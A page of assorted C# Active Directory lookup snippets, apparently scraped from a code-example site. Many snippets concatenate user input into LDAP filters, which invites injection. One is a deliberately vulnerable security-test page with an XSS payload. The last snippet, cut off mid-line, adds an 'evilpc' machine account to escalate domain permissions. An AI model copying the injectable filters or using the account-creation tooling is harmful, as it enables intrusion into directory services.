Exemple #1
2
        private void btnLogin_Click(object sender, EventArgs e)
        {
            if (txtUserName.Text.Length == 0 || txtPassword.Text.Length == 0)
            {
                MessageBox.Show("用户名或者密码不能为空。", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            string directoryPath = "LDAP://" + GetDomainName();
            string domainAndUsername = directoryPath + txtUserName.Text;

            try
            {
                DirectoryEntry entry = new DirectoryEntry(directoryPath, txtUserName.Text, txtPassword.Text);
                DirectorySearcher search = new DirectorySearcher(entry);

                SearchResult result = search.FindOne();
                MessageBox.Show("登录成功。", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch (Exception ex)
            {
                // 如果用户名或者密码不正确,也会抛出异常。
                MessageBox.Show(ex.Message, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Stop);
            }
        }
Exemple #2
0
        public static DirectoryEntry FindUser(string userName)
        {
            if (string.IsNullOrEmpty(LoginDomain) || !UseWindowsCreds && (string.IsNullOrEmpty(DomainName) || string.IsNullOrEmpty(Username) || string.IsNullOrEmpty(Password)))
            {
                if (EditADPrefs.Execute() != System.Windows.Forms.DialogResult.OK)
                    return null;
            }

            try
            {
                DirectoryEntry dom = null;
                if (UseWindowsCreds)
                    dom = new DirectoryEntry("LDAP://" + DomainName);
                else
                    dom = new DirectoryEntry("LDAP://" + DomainName, LoginDomain + @"\" + Username, Password, AuthenticationTypes.None);
                using (DirectorySearcher dsSearcher = new DirectorySearcher(dom))
                {
                    dsSearcher.Filter = string.Format("(&(objectClass=user)(|(cn={0})(samaccountname={0})))", userName);
                    dsSearcher.PropertiesToLoad.Add("ThumbnailPhoto");
                    SearchResult result = dsSearcher.FindOne();

                    if (result == null || string.IsNullOrEmpty(result.Path))
                        return null;

                    if (UseWindowsCreds)
                        return new DirectoryEntry(result.Path);
                    return new DirectoryEntry(result.Path, LoginDomain + @"\" + Username, Password, AuthenticationTypes.None);
                }
            }
            catch (Exception e)
            {
                MessageBox.Show(string.Format("Failed to search for user.\r\n\r\nError was:\r\n{0}", e.Message), "A/D Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            return null;
        }
        public bool IsAuthenticated(string domain, string username, string pwd)
        {
            string domainAndUsername = domain + "\\" + username;
            DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pwd);

            try {
            //Bind to the native AdsObject to force authentication.
            object obj = entry.NativeObject;
            DirectorySearcher search = new DirectorySearcher(entry);

            search.Filter = "(SAMAccountName=" + username + ")";
            search.PropertiesToLoad.Add("cn");
            SearchResult result = search.FindOne();

            if ((result == null)) {
                return false;
            }

            //Update the new path to the user in the directory.
            _path = result.Path;
            _filterAttribute = Convert.ToString(result.Properties["cn"][0]);

            } catch (Exception ex) {
            throw new Exception("Error authenticating user. " + ex.Message);
            }

            return true;
        }
Exemple #4
0
        public LdapUser(DirectoryEntry adentry, String userName, LdapSettings ldapSettings)
        {
            userid = new LdapAttribute("userid", userName);
            DirectorySearcher ds = new DirectorySearcher(adentry);
            ds.Filter = "(&(sAMAccountName=" + userName + "))";
            SearchResult result = ds.FindOne();
            DirectoryEntry ent = null;

            if (result != null)
            {
                ent = result.GetDirectoryEntry();
            }

            if (ent != null)
            {
                if (ent.Properties["cn"].Value != null)
                {
                    commonname = new LdapAttribute("commonname", ent.Properties["cn"].Value.ToString());
                }
                else
                {
                    commonname = new LdapAttribute("commonname", userName);
                }
                if (ent.Properties["mail"].Value != null)
                {
                    email = new LdapAttribute("email", ent.Properties["mail"].Value.ToString());
                }
                else
                {
                    email = new LdapAttribute("email", userName + "@" + ldapSettings.Domain);
                }
            }
        }
        public Int32 getNextUID()
        {
            checkConnection();

            Int32 id = 0;

            DirectorySearcher mySearcher = new DirectorySearcher(entry);

            mySearcher.Filter = "(|(objectClass=user))";
            SearchResultCollection resultSet = mySearcher.FindAll();

            foreach (SearchResult result in resultSet)
            {
                DirectoryEntry user = result.GetDirectoryEntry();
                if (user.Properties["uidnumber"].Value != null)
                {
                    String foo = user.Properties["uidnumber"].Value.ToString();
                    String username = user.Properties["uid"].Value.ToString();
                    int thisID;
                    Int32.TryParse(foo, out thisID);
                    if (thisID > id){
                        id = thisID;
                    }

                }

            }

            mySearcher.Dispose();

            return (id != 0) ? (id + 1) : 0;
        }
Exemple #6
0
 /// <summary>
 /// �������û�������
 /// </summary>
 /// <param name="UserName">���û���</param>
 /// <param name="OldPassword">������</param>
 /// <param name="NewPassword">������</param>
 /// <param name="DomainName">DNS����</param>
 /// <returns>�ɹ������棬���ɹ����ؼ�</returns>
 public static bool ChangePassword(string UserName, string OldPassword, string NewPassword, string DomainName)
 {
     try
     {
         string UserPrincipalName = UserName + "@" + DomainName;
         DirectoryEntry deRootDSE = new DirectoryEntry("LDAP://RootDSE", UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
         DirectoryEntry deDomain = new DirectoryEntry("LDAP://" + deRootDSE.Properties["defaultNamingContext"].Value.ToString(), UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
         DirectorySearcher dsSearcher = new DirectorySearcher();
         dsSearcher.SearchRoot = deDomain;
         dsSearcher.SearchScope = SearchScope.Subtree;
         dsSearcher.Filter = "(userPrincipalName=" + UserPrincipalName + ")";
         SearchResult srResult = dsSearcher.FindOne();
         if (srResult != null)
         {
             DirectoryEntry deUser = new DirectoryEntry(srResult.GetDirectoryEntry().Path, UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
             deUser.Invoke("ChangePassword", new object[] { OldPassword, NewPassword });
             deUser.CommitChanges();
             return true;
         }
         else
             return false;
     }
     catch //(Exception ex)
     {
         return false;// ex.Message;
     }
 }
Exemple #7
0
        protected void Page_Load(object sender, EventArgs e)
        {
            // TODO this todo was here for ages
            var dc = new DirectoryContext(DirectoryContextType.Domain, "ptsecurity.ru");

            var address = Request.Params["address"];
            var filter = "Address=" + address;
            var result = "";

            var domain = Domain.GetDomain(dc);

            // this is our vulnerabilitiy of LDAP injection *in this file*
            // FIXED: AI issue #3, High, LDAP Injection, https://github.com/SDLTestAccount/IT/issues/3
            // GET /Tests/1 INPUT DATA VERIFICATION/9 LDAP Injection/Ldap.aspx?address=%7bfilter%7d+%3d+* HTTP/1.1
            // Host:localhost
            var ds = new DirectorySearcher(domain.GetDirectoryEntry());//, filter);

            using (var src = ds.FindAll())
            {
                // TODO it was edit here by developer 1 year ago
                foreach (var res in src)
                {
                    result = res.ToString();
                }
            }

            // let's go

            // this is our first vulnerability of XSS in this file
            // we will demonstrate False Positive scenario here (FP Marker)
            // FP: AI issue #4, High, Cross-site Scripting, https://github.com/SDLTestAccount/IT/issues/4
            // GET /Tests/1 INPUT DATA VERIFICATION/9 LDAP Injection/Ldap.aspx HTTP/1.1
            // Host:localhost
            // (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().MoveNext() && (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().Current.ToString() == "<script>alert(0)</script>"))
            Response.Write(result);

            // this is our second vulnerability of XSS in this file
            // we will demonstrate what happen if developer fails with his fix (VERIFY Marker)
            // FIXED: AI issue #4, High, Cross-site Scripting, https://github.com/SDLTestAccount/IT/issues/4
            // GET /Tests/1 INPUT DATA VERIFICATION/9 LDAP Injection/Ldap.aspx HTTP/1.1
            // Host:localhost
            // (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().MoveNext() && (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().Current.ToString() == "<script>alert(0)</script>"))
            Response.Write("result");

            // this is our third vulnerability of XSS in this file
            // we will demonstrate what happen if we really fix vulnerability (VERIFY Marker)
            // FIXED: AI issue #4, High, Cross-site Scripting, https://github.com/SDLTestAccount/IT/issues/4
            // GET /Tests/1 INPUT DATA VERIFICATION/9 LDAP Injection/Ldap.aspx HTTP/1.1
            // Host:localhost
            // (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().MoveNext() && (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().Current.ToString() == "<script>alert(0)</script>"))
            Response.Write("result");

            // this is our fourth vulnerability of XSS in this file
            // we will demonstrate what happen if developer want to cheat (FIXED Marker)
            // FIXED: AI issue #4, High, Cross-site Scripting, https://github.com/SDLTestAccount/IT/issues/4
            // GET /Tests/1 INPUT DATA VERIFICATION/9 LDAP Injection/Ldap.aspx HTTP/1.1
            // Host:localhost
            // (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().MoveNext() && (System.DirectoryServices.DirectorySearcher.FindAll().GetEnumerator().Current.ToString() == "<script>alert(0)</script>"))
            Response.Write("result");
        }
        public bool GetStatus()
        {
            DirectorySearcher search = new DirectorySearcher(_path);
            search.Filter = "(cn=" + _filterAttribute + ")";
            search.PropertiesToLoad.Add("userAccountControl");

            try
            {
                SearchResult result = search.FindOne();
                if (null == result)
                {
                    return false;
                }
                string statusNames = result.Properties["userAccountControl"][0].ToString();

                if ("512".Equals(statusNames))
                {
                    return true;
                }
                // 512 可用账户
                // 514 账户无效
                // 528 账户锁定
                // 8389120 密码过期

                return false;
            }
            catch (Exception ex)
            {
                return false;
                //throw new Exception("Error obtaining userAccountControl names. " + ex.Message);
            }
        }
		public override DirectoryObject GetDirectoryObjectById(string id) {
			if(id == null) {
				throw new ArgumentNullException("id");
			}
			DirectoryObject directoryObject = null;
			if(id.Length > 0) {
				using(DirectoryEntry directoryEntry = this.GetDirectoryEntry()) {
					using(DirectorySearcher directorySearcher = new DirectorySearcher(
							  directoryEntry,
							  string.Format(CultureInfo.InvariantCulture, FilterAndFormat, BaseFilter + string.Format(CultureInfo.InvariantCulture, FilterFormat, this.IdentifyingPropertyName, id)),
							  PropertyNames,
							  SearchScope.Subtree)) {
						SearchResult searchResult = directorySearcher.FindOne();
						if(searchResult != null) {
							directoryObject = this.CreateDirectoryObjectInstance();
							directoryObject.Id = GetPropertyValue(searchResult, this.IdentifyingPropertyName);
							foreach(string propertyName in searchResult.Properties.PropertyNames) {
								if(directoryObject.Contains(propertyName)) {
									directoryObject[propertyName] = GetPropertyValue(searchResult, propertyName);
								}
							}
						}
					}
				}
			}
			return directoryObject;
		}
        public static UserEntity FindUserByLogin(string login)
        {
            // Parse the string to check if domain name is present.
            int idx = login.IndexOf('\\');
            if (idx == -1)
            {
                idx = login.IndexOf('@');
            }

            string strName = idx != -1 ? login.Substring(idx + 1) : login;

            const string connection = "LDAP://softserveinc.com";
            var dssearch = new DirectorySearcher(connection) { Filter = "(sAMAccountName=" + strName + ")" };
            var sresult = dssearch.FindOne();

            DirectoryEntry dsresult = sresult.GetDirectoryEntry();
            var result = new UserEntity
                {
                    Login = "******" + login,
                    Name = dsresult.Properties["displayName"][0].ToString(),
                    Mail = dsresult.Properties["mail"][0].ToString(),
                    Department = dsresult.Properties["department"][0].ToString(),
                    Office = dsresult.Properties["physicalDeliveryOfficeName"][0].ToString()
                };

            return result;
        }
        // potentially not needed due to use of the role provider
        public string GetGroups()
        {
            DirectorySearcher search = new DirectorySearcher(_path);
            search.Filter = "(cn=" + _filterAttribute + ")";
            search.PropertiesToLoad.Add("memberOf");
            StringBuilder groupNames = new StringBuilder();

            try
            {
                SearchResult result = search.FindOne();
                int propertyCount = result.Properties["memberOf"].Count;
                string dn;
                int equalsIndex, commaIndex;

                for (int propertyCounter = 0; propertyCounter < propertyCount; propertyCounter++)
                {
                    dn = (string)result.Properties["memberOf"][propertyCounter];
                    equalsIndex = dn.IndexOf("=", 1);
                    commaIndex = dn.IndexOf(",", 1);
                    if (-1 == equalsIndex)
                    {
                        return null;
                    }
                    groupNames.Append(dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1));
                    groupNames.Append("|");
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error obtaining group names. " + ex.Message);
            }
            return groupNames.ToString();
        }
        private static bool AuthenticateUser(string credentials)
        {
            var encoding = Encoding.GetEncoding("iso-8859-1");
            credentials = encoding.GetString(Convert.FromBase64String(credentials));
            var credentialsArray = credentials.Split(':');
            var username = credentialsArray[0];
            var password = credentialsArray[1];

            if (string.IsNullOrEmpty(username))
            {
                return false;
            }
            var directoryEntry = new DirectoryEntry(Ldap, username, password);
            var searchAdForUser = new DirectorySearcher(directoryEntry) { Filter = "(&(objectClass=user)(anr=" + username + "))" };
            var retrievedUser = searchAdForUser.FindOne();

            if (retrievedUser == null)
            {
                return false;
            }

            var identity = new GenericIdentity(username);
            SetPrincipal(new GenericPrincipal(identity, null));

            return true;
        }
        /// <summary>
        /// Checks the name of the user.
        /// </summary>
        /// <param name="entry">The entry.</param>
        /// <param name="userName">Name of the user.</param>
        /// <returns>
        ///   <c>true</c> if user name is existed, <c>false</c> otherwise.</returns>
        public static bool CheckUserName(this DirectoryEntry entry, string userName)
        {
            try
            {
                entry.CheckNullObject("entry");
                userName.CheckEmptyString("userName");

                var directorySearcher = new DirectorySearcher()
                {
                    SearchRoot = entry,
                    Filter = "(&(objectClass=user) (cn=" + userName + "))"
                };

                if ((directorySearcher.FindAll()?.Count ?? 0) > 0)
                {
                    return true;
                };

                return false;
            }
            catch (Exception ex)
            {
                throw ex.Handle( new { userName });
            }
        }
 //- Método que valida el usuario en el Active Directory
 public bool ValidarUsuarioActiveDirectory(string _Path, string userId, string password)
 {
     DirectoryEntry deEntry = new DirectoryEntry(_Path, userId, password);
     DirectorySearcher dsSearcher = new DirectorySearcher(deEntry);
     bool bandera = false;
     try
     {
         UsuarioId(userId);
         dsSearcher.Filter = "(SAMAccountName=" + w_UserAD.Trim() + ")";
         dsSearcher.PropertiesToLoad.Add("cn");
         SearchResult result = dsSearcher.FindOne();
         if (!string.IsNullOrEmpty(result.ToString()))
         {
             bandera = true;
         }
         else
         {
             bandera = false;
         }
         _path = result.Path;
         _filterAttribute = (String)result.Properties["cn"][0];
     }
     catch (Exception)
     {
         return false;
     }
     return bandera;
 }
Exemple #15
0
        public AdUser GetUserById(string id)
        {
            try
            {
                DirectoryEntry entry = new DirectoryEntry("LDAP://infotecs-nt");
                string managerDN;
                AdUser user;
                using (DirectorySearcher dSearch = new DirectorySearcher(entry))
                {
                    dSearch.Filter = string.Format("(&(objectCategory=person)(objectClass=user)(samaccountname={0}))", id);
                    var result = dSearch.FindOne();
                    user = MapUserFromAdResult(result);
                    managerDN = (string)result.Properties["manager"][0];
                }

                using (DirectorySearcher dSearch = new DirectorySearcher(entry))
                {
                    dSearch.Filter = string.Format("(&(objectCategory=person)(objectClass=user)(distinguishedname={0}))", managerDN);
                    var result = dSearch.FindOne();
                    var manager = MapUserFromAdResult(result);
                    user.Manager = manager;
                }

                return user;
            }
            catch
            {
            }

            return null;
        }
Exemple #16
0
 private static SearchResultCollection GetUsers(DirectoryEntry ad, string ldapFilter)
 {
     var search = new DirectorySearcher(ad, ldapFilter);
     search.SearchScope = AppSettings.GeneralSettings.SearchScope;
     var results = search.FindAll();
     return results;
 }
        private void RequesterEmail_comboBox_SelectedIndexChanged(object sender, EventArgs e)
        {
            // Get user first name and last name by email
            string mail = RequesterEmail_comboBox.Text;
            DirectoryEntry entry = new DirectoryEntry();
            DirectorySearcher adsearcher = new DirectorySearcher(entry);
            adsearcher.Filter = "(&(objectClass=user)(mail=" + mail + "))";
            adsearcher.PropertiesToLoad.Add("givenName");
            adsearcher.PropertiesToLoad.Add("sn");
            adsearcher.PropertiesToLoad.Add("mail");
            SearchResult result = adsearcher.FindOne();

            if (result == null)
                MessageBox.Show("Email Does Not Exist !!" + Environment.NewLine + "Please Check Your Spelling !!");

            if (result != null)
            {
                DirectoryEntry employee = result.GetDirectoryEntry();
                string FirstName = employee.Properties["givenName"].Value.ToString();
                string LastName = employee.Properties["sn"].Value.ToString();

                RequesterFirstName_txtBox.Text = FirstName;
                RequesterLastName_txtBox.Text = LastName;

            }
        }
        private List<ADDomain> GetNetBIOSDomains()
        {
            List<ADDomain> ret = new List<ADDomain>();
            DirectoryEntry RootDSE = new DirectoryEntry("LDAP://rootDSE");

            // Retrieve the Configuration Naming Context from RootDSE
            string configNC = RootDSE.Properties["configurationNamingContext"].Value.ToString();

            // Connect to the Configuration Naming Context
            DirectoryEntry configSearchRoot = new DirectoryEntry("LDAP://" + configNC);

            // Search for all partitions where the NetBIOSName is set.
            DirectorySearcher configSearch = new DirectorySearcher(configSearchRoot);
            configSearch.Filter = ("(NETBIOSName=*)");

            // Configure search to return dnsroot and ncname attributes
            configSearch.PropertiesToLoad.Add("dnsroot");
            configSearch.PropertiesToLoad.Add("NETBIOSName");
            SearchResultCollection forestPartitionList = configSearch.FindAll();

            // Loop through each returned domain in the result collection
            foreach (SearchResult domainPartition in forestPartitionList)
            {
                ADDomain ad = new ADDomain();
                ad.Name = domainPartition.Properties["NETBIOSName"][0].ToString();
                ad.Path = domainPartition.Properties["NETBIOSName"][0].ToString();
                ret.Add(ad);
            }
            return ret;
        }
        public static string FindAccountByEmail(string pEmailAddress)
        {
            string filter = string.Format("(proxyaddresses=SMTP:{0})", pEmailAddress);

            using (DirectoryEntry gc = new DirectoryEntry("GC:"))
            {
                foreach (DirectoryEntry z in gc.Children)
                {
                    using (DirectoryEntry root = z)
                    {
                        using (DirectorySearcher searcher = new DirectorySearcher(root, filter, new string[] { "mailNickname" }))
                        {
                            searcher.ReferralChasing = ReferralChasingOption.All;
                            SearchResultCollection result = searcher.FindAll();
                            foreach (SearchResult item in result)
                            {
                                foreach (object value in item.Properties["mailNickName"])
                                {
                                    return value.ToString();
                                }
                            }

                        }
                    }
                }
            }
            return null;
        }
        public bool Authenticate(string userName, string pwd)
        {
            //Get an entry to Active Directory
            using (DirectoryEntry dirEntry = CreateDirectoryEntry(userName, pwd))
            {
                //Instansiate a new Active Directory searcher, set filter and properties
                using (DirectorySearcher dirSearcher = new DirectorySearcher(dirEntry))
                {
                    //Set search filter
                    dirSearcher.Filter = "(sAMAccountName=" + userName + ")";

                    SearchResult searchResult;
                    try
                    {
                        searchResult = dirSearcher.FindOne();
                    }
                    catch (Exception err)
                    {
                        //The domain is not available or the client do not have permission to do the search.
                        //Check userName and/or passWord.
                        return false;
                    }

                    if (searchResult != null)
                    {
                        //User exist in Active Directory.
                        return true;
                    }
                    //User does not exist in Active Directory.
                    return false;
                }
            }
        }
Exemple #21
0
        public static List<string> GetDomainList2()
        {
            List<string> domainList = new List<string>();
            string sRootDomain;
            System.DirectoryServices.DirectoryEntry deRootDSE;
            System.DirectoryServices.DirectoryEntry deSearchRoot;
            System.DirectoryServices.DirectorySearcher dsFindDomains;
            System.DirectoryServices.SearchResultCollection srcResults;

            deRootDSE = new System.DirectoryServices.DirectoryEntry("GC://RootDSE");
            sRootDomain = "GC://" + deRootDSE.Properties["rootDomainNamingContext"].Value.ToString();

            deSearchRoot = new System.DirectoryServices.DirectoryEntry(sRootDomain);
            dsFindDomains = new System.DirectoryServices.DirectorySearcher(deSearchRoot);
            dsFindDomains.Filter = "(objectCategory=domainDNS)";
            dsFindDomains.SearchScope = System.DirectoryServices.SearchScope.Subtree;

            srcResults = dsFindDomains.FindAll();
            foreach (System.DirectoryServices.SearchResult srDomain in srcResults)
            {
                domainList.Add(srDomain.Properties["name"][0].ToString());
            }

            return domainList;
        }
Exemple #22
0
        public List<User> GetADUsers()
        {
            try
            {
                List<User> AdUsers = new List<User>();
                string domainPath = "LDAP://OU=Users,OU=Cobweb Solutions Ltd,DC=cobwebsolutions,DC=com";
                DirectoryEntry searchroot = new DirectoryEntry(domainPath);
                DirectorySearcher search = new DirectorySearcher(searchroot);
                search.Filter = "(&(objectClass=user)(objectCategory=person))";
                search.PropertiesToLoad.Add("samaccountname");
                search.PropertiesToLoad.Add("displayname");
                SearchResult result;
                SearchResultCollection resultCol = search.FindAll();
                if (resultCol != null)
                {
                    for (int i = 0; i < resultCol.Count; i++)
                    {
                        result = resultCol[i];
                        User adUser = new User();
                        adUser.DisplayName = (string)result.Properties["displayname"][0];
                        adUser.UserName = (string)result.Properties["samaccountname"][0];
                        AdUsers.Add(adUser);
                    }

                }
                return AdUsers;

            }
            catch (Exception ex)
            {
                return null;
            }
        }
Exemple #23
0
        public static Task Test()
        {
            return Task.Run(() => {
                string strServerDNS = "ldap.hp.com:389";
                string strSearchBaseDN = "ou=Email,ou=Services,o=hp.com";
                string strLDAPPath;
                strLDAPPath = "LDAP://" + strServerDNS + "/" + strSearchBaseDN;
                DirectoryEntry objDirEntry = new DirectoryEntry(strLDAPPath, null, null, AuthenticationTypes.Anonymous);
                DirectorySearcher searcher = new DirectorySearcher(objDirEntry);
                SearchResult result = null;

                searcher.Filter = "[email protected]";
                searcher.PropertiesToLoad.Add("ntUserDomainId");

                searcher.ClientTimeout = TimeSpan.FromSeconds(20);
                try
                {
                    result = searcher.FindOne();

                }
                catch (Exception ex)
                {

                }

                finally
                {
                    searcher.Dispose();
                }

            });
        }
Exemple #24
0
        public static List<string> GetComputers()
        {
            List<string> ComputerNames = new List<string>();

            DirectoryEntry entry = new DirectoryEntry("LDAP://transnetwork.local/OU=Phoenix-DC,DC=transnetwork,DC=local");
            DirectorySearcher mySearcher = new DirectorySearcher(entry);
            mySearcher.Filter = ("(objectClass=computer)"); //se buscan solamente objetos de ltipo computadora / server
            mySearcher.SizeLimit = int.MaxValue;
            mySearcher.PageSize = int.MaxValue;

            foreach (SearchResult resEnt in mySearcher.FindAll())
            {

                //"CN=SGSVG007DC"
                string ComputerName = resEnt.GetDirectoryEntry().Name;
                if (ComputerName.StartsWith("CN="))
                    ComputerName = ComputerName.Remove(0, "CN=".Length);
                ComputerNames.Add(ComputerName);
            }

            mySearcher.Dispose();
            entry.Dispose();
             // Console.ReadLine();
            return ComputerNames;
        }
        public void DirectorySearcherPrerequisiteTest()
        {
            using(DirectorySearcher directorySearcher = new DirectorySearcher())
            {
                Assert.IsNotNull(directorySearcher.Filter);
                Assert.AreEqual(0, directorySearcher.PropertiesToLoad.Count);
                Assert.AreEqual(SearchScope.Subtree, directorySearcher.SearchScope);
                // Assert.IsNotNull(directorySearcher.SearchRoot); // This only works when the computer you run the unit tests on is on a domain.
            }

            using(DirectorySearcher directorySearcher = new DirectorySearcher((DirectoryEntry) null))
            {
                Assert.IsNotNull(directorySearcher.Filter);
                Assert.AreEqual(0, directorySearcher.PropertiesToLoad.Count);
                Assert.AreEqual(SearchScope.Subtree, directorySearcher.SearchScope);
                // Assert.IsNotNull(directorySearcher.SearchRoot); // This only works when the computer you run the unit tests on is on a domain.
            }

            using(DirectorySearcher directorySearcher = new DirectorySearcher((string) null))
            {
                Assert.IsNull(directorySearcher.Filter);
                Assert.AreEqual(0, directorySearcher.PropertiesToLoad.Count);
                Assert.AreEqual(SearchScope.Subtree, directorySearcher.SearchScope);
                // Assert.IsNotNull(directorySearcher.SearchRoot); // This only works when the computer you run the unit tests on is on a domain.
            }
        }
        public override string[] GetRolesForUser(string username)
        {
            var allRoles = new List<string>();
            var root = new DirectoryEntry(ConfigurationManager.ConnectionStrings[ConnectionStringName].ConnectionString,
                ConnectionUsername, ConnectionPassword);
            var searcher = new DirectorySearcher(root, String.Format(CultureInfo.InvariantCulture,
                "(&(objectClass=user)({0}={1}))", AttributeMapUsername, username));

            searcher.PropertiesToLoad.Add("memberOf");
            SearchResult result = searcher.FindOne();
            if (result != null && !string.IsNullOrEmpty(result.Path))
            {
                DirectoryEntry user = result.GetDirectoryEntry();
                PropertyValueCollection groups = user.Properties["memberOf"];

                foreach (string path in groups)
                {
                    string[] parts = path.Split(',');
                    if (parts.Length > 0)
                    {
                        foreach (string part in parts)
                        {
                            string[] p = part.Split('=');
                            if (p[0].Equals("cn", StringComparison.OrdinalIgnoreCase))
                            {
                                allRoles.Add(p[1]);
                            }
                        }
                    }
                }
            }
            return allRoles.ToArray();
        }
Exemple #27
0
        /// <summary>
        /// Получить всех пользователей.
        /// </summary>
        /// <returns></returns>
        public List<AdUser> GetAllUsers()
        {
            DirectoryEntry entry = new DirectoryEntry("LDAP://infotecs-nt");

            List<AdUser> users = new List<AdUser>();
            using (DirectorySearcher dSearch = new DirectorySearcher(entry))
            {
                dSearch.Filter = "(&(objectCategory=person)(objectClass=user))";
                var allResults = dSearch.FindAll();
                foreach (SearchResult result in allResults)
                {
                    if (result.Properties["extensionattribute14"].Count == 0
                        || (result.Properties["mail"].Count == 0)
                        || (result.Properties["department"].Count == 0)
                        || (result.Properties["title"].Count == 0))
                    {
                        continue;
                    }
                    var user = MapUserFromAdResult(result); ;
                    if (user != null)
                    {
                        users.Add(user);
                    }
                }
            }

            return users;
        }
Exemple #28
0
        static public void getGrups(string username, string group_Admin)
        {
            try
            {
                //   string filter = string.Format("(&(ObjectClass={0})(sAMAccountName={1}))", "person", "afanasievdv");
                string domain = "isea.ru";
                string[] properties = new string[] { "fullname" };
              //  username = "******";

                DirectoryEntry adRoot = new DirectoryEntry("LDAP://" + domain, null, null, AuthenticationTypes.Secure);
                DirectorySearcher dirsearcher = new DirectorySearcher(adRoot);
                dirsearcher.Filter = string.Format("(&(ObjectClass={0})(sAMAccountName={1}))", "person", username);
                dirsearcher.PropertiesToLoad.Add("memberOf");
                int propCount;

                SearchResult dirSearchResults = dirsearcher.FindOne();
                propCount = dirSearchResults.Properties["memberOf"].Count;

                DirectoryEntry directoryEntry = dirSearchResults.GetDirectoryEntry();
                //  string dn, equalsIndex, commaIndex;
                PropertyValueCollection groups = directoryEntry.Properties["memberOf"];
                foreach (string g in groups)
                {
                    string group = g.Split('=')[1].Split(',')[0];
                    System.Diagnostics.Debug.WriteLine(group);
                }
            }
            catch (Exception ex)
            {
                System.Diagnostics.Debug.WriteLine(ex.ToString());
            }
        }
Exemple #29
0
    private void InitializeComponent()
    {
        this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher();
        this.button1            = new System.Windows.Forms.Button();
        this.button2            = new System.Windows.Forms.Button();
        this.button3            = new System.Windows.Forms.Button();
        this.pictureBox1        = new System.Windows.Forms.PictureBox();
        this.SuspendLayout();
        //
        // directorySearcher1
        //
        this.directorySearcher1.ClientTimeout       = System.TimeSpan.Parse("-00:00:01");
        this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01");
        this.directorySearcher1.ServerTimeLimit     = System.TimeSpan.Parse("-00:00:01");
        //
        // button1
        //
        this.button1.Location = new System.Drawing.Point(62, 51);
        this.button1.Name     = "button1";
        this.button1.Size     = new System.Drawing.Size(137, 41);
        this.button1.TabIndex = 3;
        this.button1.Text     = "button1";
        this.button1.UseVisualStyleBackColor = true;
        this.button1.Click += new System.EventHandler(this.button1_Click);

        this.pictureBox1.Location = new System.Drawing.Point(46, 37);
        this.pictureBox1.Name     = "pictureBox1";
        string       PfadBild = @"C:\Bildverarbeitung\C#-FormsMitDerHand_IP\lena_std.tif";
        StreamReader SR       = new StreamReader(PfadBild);
        Bitmap       Bild     = new Bitmap(SR.BaseStream);

        SR.Close();

        this.pictureBox1.Size  = new System.Drawing.Size(Bild.Size.Width, Bild.Size.Height);
        this.pictureBox1.Image = Bild;

        //
        // Form1
        //
        this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
        this.AutoScaleMode       = System.Windows.Forms.AutoScaleMode.Font;
        this.ClientSize          = new System.Drawing.Size(711, 442);
        //this.Controls.Add(this.button1);
        this.Controls.Add(this.pictureBox1);
        this.Name  = "Form1";
        this.Text  = "Form1";
        this.Load += new System.EventHandler(this.Form1_Load);
        this.ResumeLayout(false);
    }
        static void Main(string[] args)
        {
            String DomainController = "192.168.127.129";
            String Domain           = "gh0st.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount          = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "******"; //机器账户密码
            String victimcomputer_ldap_path    = "LDAP://CN=Computers,DC=gh0st,DC=com";
            String machine_account             = new_MachineAccount;
            String sam_account = machine_account + "$";

            String distinguished_name = "";

            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array           = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine("[+] Elevate permissions on ");
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
